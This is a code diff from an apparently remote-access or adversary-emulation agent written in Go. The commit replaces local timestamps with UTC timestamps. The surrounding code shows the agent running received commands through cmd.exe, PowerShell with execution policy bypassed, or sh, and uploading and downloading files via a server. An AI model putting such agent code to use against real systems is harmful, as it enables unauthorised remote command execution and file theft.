@@ -24,11 +24,11 @@ func RunCommand(message string, httpServer string, profile map[string]interface{
24
24
} else if (strings .HasPrefix (message , "download" )) {
25
25
pieces := strings .Split (message , "download" )
26
26
go download (httpServer , pieces [1 ])
27
- return []byte ("Download initiated\n " ), 0 , time . Now ()
27
+ return []byte ("Download initiated\n " ), 0 , getUTCTimeStamp ()
28
28
} else if (strings .HasPrefix (message , "upload" )) {
29
29
pieces := strings .Split (message , "upload" )
30
30
go upload (httpServer , pieces [1 ])
31
- return []byte ("Upload initiated\n " ), 0 , time . Now ()
31
+ return []byte ("Upload initiated\n " ), 0 , getUTCTimeStamp ()
32
32
} else {
33
33
bites , status , executionTimestamp := execute (message , strings .Split (reflect .ValueOf (profile ["executors" ]).String (), "," )[0 ])
34
34
return bites , status , executionTimestamp
@@ -42,26 +42,26 @@ func execute(command string, executor string) ([]byte, int, time.Time) {
42
42
var executionTimestamp time.Time
43
43
if runtime .GOOS == "windows" {
44
44
if executor == "cmd" {
45
- executionTimestamp = time . Now ()
45
+ executionTimestamp = getUTCTimeStamp ()
46
46
bites , error = exec .Command ("cmd.exe" , "/c" , command ).Output ()
47
47
} else {
48
- executionTimestamp = time . Now ()
48
+ executionTimestamp = getUTCTimeStamp ()
49
49
bites , error = exec .Command ("powershell.exe" , "-ExecutionPolicy" , "Bypass" , "-C" , command ).Output ()
50
50
}
51
51
} else {
52
- executionTimestamp = time . Now ()
52
+ executionTimestamp = getUTCTimeStamp ()
53
53
bites , error = exec .Command ("sh" , "-c" , command ).Output ()
54
54
}
55
55
if error != nil {
56
- executionTimestamp = time . Now ()
56
+ executionTimestamp = getUTCTimeStamp ()
57
57
bites = []byte (string (error .Error ()))
58
58
status = 1
59
59
}
60
60
return []byte (fmt .Sprintf ("%s%s" , bites , "\n " )), status , executionTimestamp
61
61
}
62
62
63
63
func changeDirectory (target string ) ([]byte , time.Time ) {
64
- executionTimestamp := time . Now ()
64
+ executionTimestamp := getUTCTimeStamp ()
65
65
os .Chdir (strings .TrimSpace (target ))
66
66
return []byte (" " ), executionTimestamp
67
67
}
@@ -120,3 +120,7 @@ func upload(server string, file string) []byte {
120
120
resp .Body .Close ()
121
121
return []byte (" " )
122
122
}
123
+
124
+ func getUTCTimeStamp () time.Time {
125
+ return time .Now ().UTC ()
126
+ }
0 commit comments